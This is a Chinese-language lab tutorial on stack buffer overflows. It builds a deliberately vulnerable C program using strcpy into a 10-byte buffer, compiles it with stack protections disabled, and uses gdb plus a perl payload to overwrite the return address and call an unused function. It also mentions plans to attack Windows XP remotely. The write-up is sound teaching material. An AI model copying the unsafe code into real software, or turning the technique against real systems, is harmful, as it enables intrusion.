缓冲区溢出攻击实验

缓冲区溢出是指向程序缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被攻击者利用来改变程序的流程控制,甚至执行代码的任意片段。缓冲区溢出攻击成为远程攻击的主要手段,攻击者利用缓冲区溢出漏洞可以植入并且执行任意的攻击代码,缓冲区溢出漏洞给予了攻击者想要的一切,甚至得到被攻击计算机的控制权。

缓冲区溢出漏洞能够被利用的主要原因是计算机采用了“冯·诺依曼体系结构”,该体系结构把程序指令也当做数据来对待,指令和数据不加区分混合存储在同一个存储器中,数据和程序在内存中是没有区别的,它们都是内存中的数据,当EIP指针指向哪 CPU就加载那段内存中的数据。这就造成数据存在覆盖指令的情况,如果数据指向一个内存地址并且覆盖了EIP指针所指向的地址,那么程序就会跳转到攻击者指定的代码段执行。

概念部分:

计算机程序被CPU执行前需要先被载入内存,程序所在的内存由操作系统进行分配,程序内部使用的变量或者接收用户输入的数据都需要分配内存,这块内存区域也叫做缓冲区,程序被载入到内存后的结构如下图绿色区域所示:

一个程序占用着一块内存区域,这块区域包含了程序函数的调用栈,数据,缓冲区等。如果向缓冲区写入超出长度的数据,那么数据将会覆盖到程序的其他内存区域,如果函数调用栈里某个函数地址被覆盖成其他函数地址,那么这个程序执行流程将会被改变,将会执行覆盖数据指定地址的函数。更为严重的是如果被植入精心构造的恶意代码并执行,攻击者将会得到运行该程序的用户权限,如果该程序以root角色执行,那么攻击者就可以得到目标计算机的完全控制权。

要做的事:

  1. 用C语言编写一个具有缓冲区溢出漏洞的程序,程序的功能是从main函数参数接收用户输入的数据,并且输出到控制台。
  2. 使用gcc将源代码编译成32位的可执行程序,并使用gdb调试并断点分析程序运行。
  3. 运行程序并向程序输入超过缓冲区大小的数据,对第二步调试分析得到的目标函数地址进行覆盖,将函数地址覆盖成另一个函数地址,使程序执行其他函数。

使用的系统和工具:

  1. Ubuntu Linux 16.04(64位)操作系统
  2. vim,gcc,gdb,gcc-multilib(32位程序所需的编译工具)
    其中gcc和gdb在Ubuntu中已经内置,vim和编译32位程序所需的gcc编译器需要另外安装
    1
    2
    sudo apt-get install vim
    sudo apt-get install gcc-multilib

实验部分:

使用vim新建一个main.c 源代码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>

void hello()
{
printf("hello\n");
}

int fun(char *str)
{
char buf[10];
strcpy(buf, str);
printf("%s\n", buf);
return 0;
}

int main(int argc, char **argv)
{
char *str = argv[1];
fun(str);
return 0;
}

上面的代码通过main()函数参数接收用户输入数据,并调用fun()函数将输入的数据str拷贝给buf缓冲区,最后将buf缓冲区的字符输出。
可以看到上面的代码定义了一个字符数组为10个字节大小的buf缓冲区,并使用strcpy将str数据直接拷贝到buf缓冲区,并没有对数据长度进行判断,如果用户输入了超过10个字符的数据,那么将会产生缓冲区溢出。


上面的代码并没有调用函数hello(),我们可以利用缓冲区漏洞,让程序调用函数hello()。

使用gcc将源代码编译成可执行程序

1
gcc -m32 -z execstack -fno-stack-protector -g -o main main.c

为了方便实验进行,上面的gcc编译指令后面跟了一些编译参数:

  1. -m32 将程序编译成32位程序
  2. -z execstack 允许栈执行
  3. -fno-stack-protector 关闭gcc的Stack Guard
  4. -g 为了gdb程序能够调试程序(方便后续的结合源代码断点调试)
  5. -o 输出目标文件为指定文件

编译后可以看到已经生成了可执行程序 main, 输入命令运行程序 并且后面跟上参数AAAA

1
./main AAAA

可以看到控制台成功输出了输入的AAAA

如果用户输入超过长度的字符,发现程序执行后会报段错误

接下来使用gdb调试目标程序

1
gdb ./main

在gdb模式下,可以使用disass命令查看程序中各个函数的汇编代码
依次查看程序中的 hello()函数 fun()函数 main()函数的汇编代码

汇编代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
(gdb) disass hello
Dump of assembler code for function hello:
0x0804843b <+0>: push %ebp
0x0804843c <+1>: mov %esp,%ebp
0x0804843e <+3>: sub $0x8,%esp
0x08048441 <+6>: sub $0xc,%esp
0x08048444 <+9>: push $0x8048540
0x08048449 <+14>: call 0x8048310 <puts@plt>
0x0804844e <+19>: add $0x10,%esp
0x08048451 <+22>: nop
0x08048452 <+23>: leave
0x08048453 <+24>: ret
End of assembler dump.
(gdb) disass fun
Dump of assembler code for function fun:
0x08048454 <+0>: push %ebp
0x08048455 <+1>: mov %esp,%ebp
0x08048457 <+3>: sub $0x18,%esp
0x0804845a <+6>: sub $0x8,%esp
0x0804845d <+9>: pushl 0x8(%ebp)
0x08048460 <+12>: lea -0x12(%ebp),%eax
0x08048463 <+15>: push %eax
0x08048464 <+16>: call 0x8048300 <strcpy@plt>
0x08048469 <+21>: add $0x10,%esp
0x0804846c <+24>: sub $0xc,%esp
0x0804846f <+27>: lea -0x12(%ebp),%eax
0x08048472 <+30>: push %eax
0x08048473 <+31>: call 0x8048310 <puts@plt>
0x08048478 <+36>: add $0x10,%esp
0x0804847b <+39>: mov $0x0,%eax
0x08048480 <+44>: leave
0x08048481 <+45>: ret
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x08048482 <+0>: lea 0x4(%esp),%ecx
0x08048486 <+4>: and $0xfffffff0,%esp
0x08048489 <+7>: pushl -0x4(%ecx)
0x0804848c <+10>: push %ebp
0x0804848d <+11>: mov %esp,%ebp
0x0804848f <+13>: push %ecx
0x08048490 <+14>: sub $0x14,%esp
0x08048493 <+17>: mov %ecx,%eax
0x08048495 <+19>: mov 0x4(%eax),%eax
0x08048498 <+22>: mov 0x4(%eax),%eax
0x0804849b <+25>: mov %eax,-0xc(%ebp)
0x0804849e <+28>: sub $0xc,%esp
0x080484a1 <+31>: pushl -0xc(%ebp)
0x080484a4 <+34>: call 0x8048454 <fun>
0x080484a9 <+39>: add $0x10,%esp
0x080484ac <+42>: mov $0x0,%eax
0x080484b1 <+47>: mov -0x4(%ebp),%ecx
0x080484b4 <+50>: leave
0x080484b5 <+51>: lea -0x4(%ecx),%esp
0x080484b8 <+54>: ret
End of assembler dump.
(gdb)

可以看到其中hello函数的首地址是 0x0804843b,缓冲区溢出的时候会用到0x0804843b
除此之外还可以看到main函数调用fun函数call的地址是0x080484a4,
call后的下面一条指令地址是0x080484a9,这些指令地址都将会放在CPU寄存器里,待会断点调试的时候可以看到。

输入l命令列出程序源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) l
5 {
6 printf("hello\n");
7 }
8
9 int fun(char *str)
10 {
11 char buf[10];
12 strcpy(buf, str);
13 printf("%s\n", buf);
14 return 0;
(gdb)
15 }
16
17 int main(int argc, char **argv)
18 {
19 char *str = argv[1];
20 fun(str);
21 return 0;
22 }
(gdb)

使用 b命令进行断点,我们将断点设置在13行和20行,看看调用fun函数时和printf输出时寄存器内的数据。

1
2
3
4
5
(gdb) b 13
Breakpoint 1 at 0x804846c: file main.c, line 13.
(gdb) b 20
Breakpoint 2 at 0x804849e: file main.c, line 20.
(gdb)

输入数据AAAA运行,查看寄存器ebp和esp的数据:

1
2
3
4
5
6
7
8
9
10
11
(gdb) r AAAA
Starting program: /home/lanshiqin/桌面/main AAAA

Breakpoint 2, main (argc=2, argv=0xffffd084) at main.c:20
20 fun(str);
(gdb) x/x $ebp
0xffffcfd8: 0x00000000
(gdb) x/8x $esp
0xffffcfc0: 0x00000002 0xffffd084 0xffffd090 0xffffd289
0xffffcfd0: 0xf7fb83dc 0xffffcff0 0x00000000 0xf7e20637
(gdb)

可以看到程序先执行到了fun函数所在的断点位置,此时fun函数接收的参数str应该是输入的数据AAAA
使用p命令查看str的地址

1
2
3
(gdb) p str
$1 = 0xffffd289 "AAAA"
(gdb)

使用si命令单步运行,然后查看寄存器数据

1
2
3
4
5
6
7
8
9
10
11
(gdb) si
0x080484a1 20 fun(str);
(gdb) x/8x $esp
0xffffcfb4: 0x00000001 0xf7e36830 0x0804850b 0x00000002
0xffffcfc4: 0xffffd084 0xffffd090 0xffffd289 0xf7fb83dc
(gdb) si
0x080484a4 20 fun(str);
(gdb) x/8x $esp
0xffffcfb0: 0xffffd289 0x00000001 0xf7e36830 0x0804850b
0xffffcfc0: 0x00000002 0xffffd084 0xffffd090 0xffffd289
(gdb)

可以看到str地址`0xffffd289’已经压入栈中
继续si单步运行,查看寄存器数据

1
2
3
4
5
6
7
(gdb) si
fun (str=0xffffd289 "AAAA") at main.c:10
10 {
(gdb) x/8x $esp
0xffffcfac: 0x080484a9 0xffffd289 0x00000001 0xf7e36830
0xffffcfbc: 0x0804850b 0x00000002 0xffffd084 0xffffd090
(gdb)

可以看到call后面的一条指令地址0x080484a9也已经压入栈中
使用n单步运行,到达13行断点位置,查看寄存器内容

1
2
3
4
5
6
7
8
9
10
(gdb) n
12 strcpy(buf, str);
(gdb) n

Breakpoint 1, fun (str=0xffffd289 "AAAA") at main.c:13
13 printf("%s\n", buf);
(gdb) x/8x $esp
0xffffcf90: 0xffffffff 0x4141002f 0xf7004141 0xf7fd41a8
0xffffcfa0: 0x00008000 0xf7fb8000 0xffffcfd8 0x080484a9
(gdb)

可以看到寄存器中有4个41,因为A的ASCII码对应的就是41,我们传入4个A就会有4个41。

在命令行中输入14个A重新运行,然后再次到达13行断点位置,查看寄存器内容
为了方便操作,这里使用perl语言输出数据配合运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) r `perl -e 'print "A"x14'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/lanshiqin/桌面/main `perl -e 'print "A"x14'`

Breakpoint 2, main (argc=2, argv=0xffffd084) at main.c:20
20 fun(str);
(gdb) n

Breakpoint 1, fun (str=0xffffd27f 'A' <repeats 14 times>) at main.c:13
13 printf("%s\n", buf);
(gdb) x/8x $esp
0xffffcf90: 0xffffffff 0x4141002f 0x41414141 0x41414141
0xffffcfa0: 0x41414141 0xf7fb8000 0xffffcfd8 0x080484a9
(gdb)

可以看到寄存器中已经有14个A的ASCII码值41了,除此之外,还可以看到call指令下面的指令地址0x080484a9也在寄存器中了,我们要做的就是覆盖这个地址,只要将这个地址修改为hello函数所在的地址,
那么程序就会 执行hello函数。

通过观察发现,要用A覆盖满底下的寄存器数据,还需要12个A,也就是总共需要26个A才能全部覆盖。
在命令行中输入26个A重新运行,然后再次到达13行断点位置,查看寄存器内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) r `perl -e 'print "A"x26'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/lanshiqin/桌面/main `perl -e 'print "A"x26'`

Breakpoint 2, main (argc=2, argv=0xffffd074) at main.c:20
20 fun(str);
(gdb) n

Breakpoint 1, fun (str=0xffffd200 "\027") at main.c:13
13 printf("%s\n", buf);
(gdb) x/8x $esp
0xffffcf80: 0xffffffff 0x4141002f 0x41414141 0x41414141
0xffffcf90: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)

可以看到26个A已经把最后的数据全部覆盖了,我们要做的是让程序执行到hello函数,
所以我们只需要22个A并且加上hello函数的首地址
通过调试可知hello函数的首地址是0x0804843b,我们使用perl对地址进行格式化输出,需要将这个16进制地址由后向前每两位进行一个\x拼接,得到的内容是 \x3b\x84\x04\x08

在命令行中输入22个A加上hello函数地址重新运行,一路输入n单步运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) r `perl -e 'print "A"x22;print "\x3b\x84\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/lanshiqin/桌面/main `perl -e 'print "A"x22;print "\x3b\x84\x04\x08"'`

Breakpoint 2, main (argc=2, argv=0xffffd074) at main.c:20
20 fun(str);
(gdb) n

Breakpoint 1, fun (str=0xffffd200 "\027") at main.c:13
13 printf("%s\n", buf);
(gdb) n
AAAAAAAAAAAAAAAAAAAAAA;�
14 return 0;
(gdb) n
15 }
(gdb) n
hello () at main.c:5
5 {
(gdb) n
6 printf("hello\n");
(gdb) n
hello
7 }
(gdb) n

可以看到上面的程序已经执行到hello函数了,我们可以输入q命令退出调试。

为了验证缓冲区溢出漏洞,我们现在直接运行程序,后面跟上我们之前调试分析时得到的结论数据进行运行。

1
2
3
4
lanshiqin@lanshiqin-Parallels-Virtual-Platform:~/桌面$ ./main `perl -e 'print "A"x22;print "\x3b\x84\x04\x08"'`
AAAAAAAAAAAAAAAAAAAAAA;�
hello
段错误 (核心已转储)

可以看到程序调用了hello函数,并且成功输出了hello。

虽然最后提示程序段错误,但是我们已经成功的通过让程序接收数据的缓冲区溢出,改变了程序的执行逻辑,执行了其他函数。

如果这是个具有网络通信功能的程序,通过缓冲区漏洞可以使攻击者远程执行任意代码,得到目标系统的控制权。
缓冲区溢出攻击成为远程攻击的主要手段,攻击者通过目标ip地址扫描计算机的开放的端口,并对端口程序进行缓冲区溢出攻击,如果这个端口的程序存在缓冲区漏洞,那么这台计算机将会被攻陷。

防范部分:

现代操作系统对缓冲区溢出攻击做了防范,比如ASLR(地址空间布局随机化),是参与保护缓冲区溢出问题的一个计算机安全技术。是为了防止攻击者在内存中能够可靠地对跳转到特定利用函数。ASLR包括随机排列程序的关键数据区域的位置,包括可执行的部分、堆、栈及共享库的位置。

缓冲区溢出普遍存在于旧版系统等程序上,比如Windows xp的pop3服务就存在缓存区溢出漏洞,通过该漏洞可以注入shellocode,拿到控制权进行任意操作,比如开启3389端口添加用户等操作,随后就可以通过添加的用户进行远程登录,Windows XP 系统目前在国内的学校和一些政府机构依然在使用,下一个实验内容我将会记录如何通过缓冲区溢出漏洞 远程入侵操作系统。

0%